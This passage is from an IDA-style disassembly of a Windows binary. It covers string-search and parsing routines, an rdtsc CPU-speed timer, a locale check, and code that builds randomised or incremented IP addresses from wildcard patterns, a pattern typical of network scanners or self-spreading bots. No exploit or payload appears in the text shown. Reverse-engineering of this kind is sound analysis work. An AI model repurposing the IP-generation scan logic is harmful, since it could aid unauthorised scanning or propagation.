leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: .text:0040869Fp ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: .text:0041362Ep ; .text:00413876p var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41EF48 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset aS_S_S_S ; "%s.%s.%s.%s" push [ebp+arg_8] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: .text:004135C6p var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41EF48 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408100: ; CODE XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset aS_S_S_S ; "%s.%s.%s.%s" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; --------------------------------------------------------------------------- loc_4081A2: ; CODE XREF: sub_40813C+2Dj ; sub_40813C+62j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: .text:00408751p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call ds:dword_41709C ; Sleep call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call ds:dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset dword_419100 push [ebp+arg_0] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call ds:dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; --------------------------------------------------------------------------- loc_4083AD: ; DATA XREF: sub_4087C4+35o push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-6CCh] push eax call sub_416B52 ; memcpy add esp, 